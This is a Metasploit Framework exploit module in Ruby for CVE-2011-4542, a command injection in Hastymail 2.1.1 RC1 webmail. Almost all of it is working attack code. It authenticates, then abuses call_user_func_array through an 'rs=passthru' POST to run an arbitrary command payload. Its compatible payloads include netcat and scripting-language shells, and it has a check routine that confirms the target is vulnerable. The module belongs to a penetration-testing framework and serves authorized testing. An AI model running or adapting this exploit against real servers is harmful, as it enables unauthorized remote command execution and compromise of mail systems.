## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Hastymail 2.1.1 RC1 Command Injection", 'Description' => %q{ This module exploits a command injection vulnerability found in Hastymail 2.1.1 RC1 due to the insecure usage of the call_user_func_array() function on the "lib/ajax_functions.php" script. Authentication is required on Hastymail in order to exploit the vulnerability. The module has been successfully tested on Hastymail 2.1.1 RC1 over Ubuntu 10.04. }, 'License' => MSF_LICENSE, 'Author' => [ 'Bruno Teixeira', # Vulnerability Discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2011-4542' ], [ 'BID', '50791' ], [ 'OSVDB', '77331' ], [ 'URL', 'https://www.dognaedis.com/vulns/DGS-SEC-3.html' ] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby python netcat-e', } }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [ ['Hastymail 2.1.1 RC1', {}] ], 'Privileged' => false, 'DisclosureDate' => "Nov 22 2011", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, "The base path to Hastymail", "/hastymail2/"]), OptString.new('USER', [true, "The username to authenticate with", ""]), OptString.new('PASS', [true, "The password to authenticate with", ""]) ], self.class) end def check @uri = target_uri.path @uri << '/' if @uri[-1,1] != '/' @session_id = "" @peer = "#{rhost}:#{rport}" login if not @session_id or @session_id.empty? print_error "#{@peer} - Authentication failed" return Exploit::CheckCode::Unknown end test = rand_text_alpha(rand(4) + 4) data = "rs=passthru&" data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&" data << "rsargs[]=echo #{test}" res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{@uri}", 'Cookie' => @session_id, 'data' => data }) if res and res.code == 200 and res.body =~ /#{test}/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def login res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{@uri}?page=login", 'vars_post' => { 'user' => datastore['USER'], 'pass' => datastore['PASS'], 'login' => 'Login' } }) if res and res.code == 303 @session_id = res["Set-Cookie"] print_good "#{@peer} - Authentication successful" end end def exploit @uri = target_uri.path @uri << '/' if @uri[-1,1] != '/' @session_id = "" @peer = "#{rhost}:#{rport}" print_status "#{@peer} - Trying login" login if not @session_id or @session_id.empty? print_error "#{@peer} - Authentication failed" return end print_status "#{@peer} - Authentication successfully, trying to exploit" data = "rs=passthru&" data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&" data << "rsargs[]=#{payload.encoded}" res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{@uri}", 'Cookie' => @session_id, 'headers' => { 'Cmd' => Rex::Text.encode_base64(payload.encoded) }, 'data' => data }) if not res or res.code != 200 or not res.body =~ /\+/ print_error "#{@peer} - Exploitation failed" return end end end